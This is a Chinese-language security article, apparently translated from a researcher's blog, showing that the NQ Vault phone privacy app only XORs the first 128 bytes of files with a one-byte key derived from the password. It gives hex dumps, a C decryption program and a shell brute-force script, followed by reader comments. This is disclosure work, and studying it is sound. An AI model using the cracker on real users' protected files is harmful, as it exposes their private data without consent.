网秦空间
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
打脸:看我如何用3天时间黑掉“网秦私密空间(NQ Vault)” 鸢尾专栏作者2015-04-16金币奖励+6共340831人围观 ,发现 20 个不明物体 终端安全
wq.png
什么是“网秦私密空间(NQ Vault)”
“网秦私密空间”英文名为NQ Vault,是一款手机加密APP。它允许用户设置一个隐私密码以及对照片,文本,或者其他数据进行“加密”。比如说,一个攻击者需要进入该设备查看其中内容那么他就需要获取这个隐私密码。即使攻击者从设备中拖出了这些数据也是没用的,因为这些数据都是经过加密处理的。
说起来,NQ Vault(下载地址)在谷歌商店中还有一个不错的评级呢:
1.最受欢迎的应用,在全球范围内拥有超过3000万用户
2.CTIA - Techlicious 2012,最佳CTIA奖项
3.PC Magazine - PC Magazine最近App
4.TRUSTe - 被收入“TRUSTe隐私封条”
5.全球移动互联网大会 - TOP50
另外网秦的宣传口号也不错——将你手机里的秘密全部藏起来!
在接下来的三天时间里,我将演示攻击者如何将“网秦私密空间(NQ Vault)”加密了的数据拖出,并用几秒钟读取到原始文件!
第一天
002-nq-vault.png
我使用GIMP做了一个1像素的图片[test.png],运行以下命令
echo NINJADOGE24 >> test.png
并且使用NQ Vault v6.1.00.22对其进行加密,密码为2424
test.png的原始文件如下:
0000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
0000010: 0000 0001 0000 0001 0802 0000 0090 7753 ..............wS
0000020: de00 0000 0970 4859 7300 0003 b100 0003 .....pHYs.......
0000030: b101 f583 ed49 0000 0007 7449 4d45 07df .....I....tIME..
0000040: 0401 0319 3a3d ca0b 0c00 0000 0c69 5458 ....:=.......iTX
0000050: 7443 6f6d 6d65 6e74 0000 0000 00bc aeb2 tComment........
0000060: 9900 0000 0f49 4441 5408 1d01 0400 fbff .....IDAT.......
0000070: 00ff 0000 0301 0100 c706 926f 0000 0000 ...........o....
0000080: 4945 4e44 ae42 6082 4e49 4e4a 4144 4f47 IEND.B`.NINJADOG
0000090: 4532 340a E24.
Vault的sqlite数据库告诉了我们应该在哪里找到加密文件
002-nq-vault-db.png
加密过后的文件,1427858907181.png:
0000000: 8d54 4a43 090e 1e0e 0404 0409 4d4c 4056 .TJC........ML@V
0000010: 0404 0405 0404 0405 0c06 0404 0494 7357 ..............sW
0000020: da04 0404 0d74 4c5d 7704 0407 b504 0407 .....tL]w.......
0000030: b505 f187 e94d 0404 0403 704d 4941 03db .....M....pMIA..
0000040: 0005 071d 3e39 ce0f 0804 0404 086d 505c ....>9.......mP\
0000050: 7047 6b69 6961 6a70 0404 0404 04b8 aab6 pGkiiajp........
0000060: 9d04 0404 0b4d 4045 500c 1905 0004 fffb .....M@EP.......
0000070: 04fb 0404 0705 0504 c302 966b 0404 0404 ...........k....
0000080: 4945 4e44 ae42 6082 4e49 4e4a 4144 4f47 IEND.B`.NINJADOG
0000090: 4532 340a E24.
有趣的是,我本以为他会对所有内容进行加密,包括结尾的NINJADOGE24,怎么看怎么像置换加密。
接着我使用http://jdejong.net/tools/bitwisecalculator.php 工具,结果如下:
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49
XOR
8D 54 4A 43 09 0E 1E 0E 04 04 04 09 4D
=
04 04 04 04 04 04 04 04 04 04 04 04 04
哇,我有没有提到过NQ Vault有几个高级版本,每年需要支付$7.99?我打赌他使用的是XOR2048增强模式进行加密。
第二天
写了一个XOR加密/解密程序。
//xor.c
#include
#include
int main(int argc, char *argv[])
{
FILE *file_a, *file_b;
int char_a, char_b;
file_a = fopen(argv[1], "r");
file_b = fopen(argv[2], "r");
while((char_a = getc(file_a)) != EOF && (char_b = getc(file_b)) != EOF)
putchar(char_a ^ char_b);
fclose(file_a);
fclose(file_b);
return EXIT_SUCCESS;
}
这时候使用一个1像素的jpg文件
0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060 ......JFIF.....`
0000010: 0060 0000 ffe1 0352 4578 6966 0000 4d4d .`.....RExif..MM
0000020: 002a 0000 0008 0005 5100 0004 0000 0001 .*......Q.......
0000030: 0000 0000 5101 0003 0000 0001 0001 0000 ....Q...........
0000040: 5102 0001 0000 0300 0000 004a 5103 0001 Q..........JQ...
0000050: 0000 0001 0000 0000 5104 0001 0000 0001 ........Q.......
0000060: fc00 0000 0000 0000 0000 0000 0033 0000 .............3..
0000070: 6600 0099 0000 cc00 00ff 002b 0000 2b33 f..........+..+3
0000080: 002b 6600 2b99 002b cc00 2bff 0055 0000 .+f.+..+..+..U..
0000090: 5533 0055 6600 5599 0055 cc00 55ff 0080 U3.Uf.U..U..U...
00000a0: 0000 8033 0080 6600 8099 0080 cc00 80ff ...3..f.........
00000b0: 00aa 0000 aa33 00aa 6600 aa99 00aa cc00 .....3..f.......
-- snip --
0000590: bac2 c3c4 c5c6 c7c8 c9ca d2d3 d4d5 d6d7 ................
00005a0: d8d9 dae2 e3e4 e5e6 e7e8 e9ea f2f3 f4f5 ................
00005b0: f6f7 f8f9 faff da00 0c03 0100 0211 0311 ................
00005c0: 003f 00f9 1e8a 28af cdcf f7b0 ffd9 4e49 .?....(.......NI
00005d0: 4e4a 4144 4f47 4532 3420 0d0a NJADOGE24 ..
对4815162342进行加密:
0000000: 3314 332c ccdc 868a 858a cccd cdcd ccac 3.3,............
0000010: ccac cccc 332d cf9e 89b4 a5aa cccc 8181 ....3-..........
0000020: cce6 cccc ccc4 ccc9 9dcc ccc8 cccc cccd ................
0000030: cccc cccc 9dcd cccf cccc cccd cccd cccc ................
0000040: 9dce cccd cccc cfcc cccc cc86 9dcf cccd ................
0000050: cccc cccd cccc cccc 9dc8 cccd cccc cccd ................
0000060: 30cc cccc cccc cccc cccc cccc ccff cccc 0...............
0000070: aacc cc55 cccc 00cc cc33 cce7 cccc e7ff ...U.....3......
0000080: 002b 6600 2b99 002b cc00 2bff 0055 0000 .+f.+..+..+..U..
0000090: 5533 0055 6600 5599 0055 cc00 55ff 0080 U3.Uf.U..U..U...
00000a0: 0000 8033 0080 6600 8099 0080 cc00 80ff ...3..f.........
00000b0: 00aa 0000 aa33 00aa 6600 aa99 00aa cc00 .....3..f.......
-- snip --
0000590: bac2 c3c4 c5c6 c7c8 c9ca d2d3 d4d5 d6d7 ................
00005a0: d8d9 dae2 e3e4 e5e6 e7e8 e9ea f2f3 f4f5 ................
00005b0: f6f7 f8f9 faff da00 0c03 0100 0211 0311 ................
00005c0: 003f 00f9 1e8a 28af cdcf f7b0 ffd9 4e49 .?....(.......NI
00005d0: 4e4a 4144 4f47 4532 3420 0d0a NJADOGE24 ..
Key:
0000000: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000010: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000020: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000030: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000040: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000050: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000060: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000070: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
-- snip --
0000590: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005d0: 0000 0000 0000 0000 0000 0000 0a .............
前面的128字节过后的内容仍然保持原样。这绝对是史上最棒的加密方法了!
我们尝试使用001,002,003这类密码,看看有没有什么发现。
password key
000 30
001 31
002 32
003 33
004 34
..............
010 4f
011 50
012 51
..............
2424 04
4815162342 cc
好吧,我承认现在开始我有一点兴趣了。因为密码为009之后,整个规律似乎已经对不起来了。
不管怎么说,尝试重建generateKey(password)都是毫无意义的。
我预感我会使用暴力破解,从00到ff(也就是0~255)直到我得到一个有效文件。
第三天
我即兴写的XOR加密/解密程序,修改一下:
// vault-crack.c
#include
#include
int main(int argc, char *argv[])
{
FILE *file_a;
int char_a, char_b = strtol(argv[2], NULL, 10), i = 0;
file_a = fopen(argv[1], "r");
while((char_a = getc(file_a)) != EOF)
{
if(i < 128) putchar(char_a ^ char_b) && i++; else putchar(char_a);
}
fclose(file_a);
return EXIT_SUCCESS;
}
暴力破解没有想象中那么困难
#!/bin/sh
for i in `seq 0 255`; do
./vault-crack $1 $i > $1.decrypted
if [ `file $1.decrypted --brief --mime-type` != "application/octet-stream" ]
then
echo "Key = $i" && exit
fi
done
编译vault-crack.c,将这个脚本与使用vault加密的文件放入同一个目录下,最后使用如下命令对文件进行解密
./vault-crack.sh ENCRYPTED_FILE
大功告成!
更新
bkerler以及phaeilo指出生成密钥的关键代码如下:
key = password.hashCode() & 0xff;
hashCode功能是由Java定义的:
static int hashCode(String password)
{
int h = 0;
for (int i = 0; i < password.length(); i++)
{
h = 31*h + password.charAt(i);
}
return h;
}
但是key仍然需要进行暴力破解,因为解密文件并不知道密码。
* 参考来源作者博客,翻译/鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)
鸢尾
鸢尾
184 篇文章
等级: 8级
||
上一篇:手机丢了以后,都会发生些什么?下一篇:无线车锁安全性太差了:加拿大发生多起汽车神秘被盗事件
这些评论亮了
mikey (2级)技术太差的渣渣。回复
哥们,下次翻译别带 哇! 等语气助词了,感觉很豆比。。
)51(亮了
鸢尾 (8级)悟空竟在打飞机回复
@ mikey 其实是原作者逗比,非我逗比。
)7(亮了
发表评论已有 20 条评论
mikey (2级) 技术太差的渣渣。 2015-04-16回复 1楼
哥们,下次翻译别带 哇! 等语气助词了,感觉很豆比。。
亮了(51)
鸢尾 专栏作者(8级) 悟空竟在打飞机 2015-04-16回复
@ mikey 其实是原作者逗比,非我逗比。
亮了(7)
呵呵 2015-04-16回复 2楼
爆破不跟没说一样么
亮了(1)
鸢尾 专栏作者(8级) 悟空竟在打飞机 2015-04-16回复
@ 呵呵 详情参考5楼
亮了(1)
justinYouth 2015-04-16回复 3楼
看看
亮了(1)
l0ck (1级) 2015-04-16回复 4楼
我之前曾经看过一个视频
http://v.youku.com/v_show/id_XNjQ0NTY2ODAw.html
大概的意思是可以绕过nq的登陆
亮了(2)
calosy (1级) 2015-04-16回复 5楼
就是找到加密算法,然后反向写解密算法
亮了(2)
老爷爷 2015-04-16回复 6楼
初步估计作者24岁
亮了(1)
Staraelfur 2015-04-16回复 7楼
我还没看怎么实施的。。
亮了(1)
Sn0wLe0p4rd 2015-04-16回复 8楼
算么。。
亮了(1)
全唐人狂朝 2015-04-16回复 9楼
马
亮了(1)
钢锯木张 2015-04-16回复 10楼
网秦还在呢?不用诺基亚之后再没用过
亮了(3)
和樹白翼 2015-04-16回复 11楼
回覆:“在接下来的三天时间里,我将演示攻击者如何将“网秦私密空间(NQ Vault)”加密了的数据拖出,并用几秒钟读取到原始文件!” —— 这句哪里有了…到底是想以第三者角度转述还是在翻译原文根本没搞清楚啊…
亮了(2)
好吃的Pocky喵 2015-04-16回复 12楼
漏洞描述不清,不登錄就能利用的偏說成要登錄之類的很多次。
亮了(1)
用户名还未注册 2015-04-16回复 13楼
已证实翻译内容没有问题的
亮了(1)
Mr_Onion (1级) 2015-04-16回复 14楼
没懂为什么改版后的解密代码为什么要i<128?
所以是秘钥只是两位的?原PO怎么知道这个是两位的?
亮了(1)
APT009 2015-04-16回复 15楼
怎么没原地址?
亮了(1)
vip819 (1级) 2015-04-17回复 16楼
当今,我们生活在互联网时代,网络成为人们查询和传递信息的高效路径和载体。“登lu网站”一词被频繁使用,其正确用法应该是“登陆”,而非“登录”。这从两个词的词意区别上就可以看出。
从词意上看,我们知道“登陆”一词为动词,其原意在商务印书馆出版的《现代汉语词典》中解释为:“渡过海洋或江河登上陆地……”关键在于有“登上”之意。
从词性上看,“登陆”一词具有从下到上,从外到里进入之意。而互联网作为一种载体犹如“陆地”,要想从外进入其中就必须“登陆”。所以“登陆”互联网就有进入成功和失败,登上网站与没登上网站之分。
而“登录”一词则为记载、登记、记录、录制、抄写之意。重点强调的是“记录”之意,其词意中根本没有“登入”、“进入”之意。
由此可见,无论从词意还是从词性上讲,登入、进入网站,正确的用法应该是“登陆”,若使用“登录”则是说不通的。所以,不能将“登陆”与“登录”混为一谈。
亮了(2)
易 2015-04-19回复 17楼
@ mikey 我找了好久也没找到哪有哇……
亮了(2)
Bambooslip 2015-04-20回复 18楼
林宇 史文勇 该回应了。疑问
亮了(1)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
鸢尾
鸢尾专栏作者
悟空竟在打飞机
184
文章数
132
评论数
最近文章
CVE-2017-3085:Adobe Flash泄漏Windows用户凭证
2017.08.20
WSH注入技巧分享
2017.08.16
Brida:使用Frida进行移动应用渗透测试
2017.08.15
浏览更多
相关阅读
浅谈物联网安全蓝海战略黑科技再现:黑客通过智能水壶窃取Wifi密码反编译分析吃鸡辅助器外挂:无外挂功能,疑诈骗钱财欧洲刑警组织联合执法行动逮捕国际ATM犯罪组织iPhone上将短信内容发送到指定邮箱的方法
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论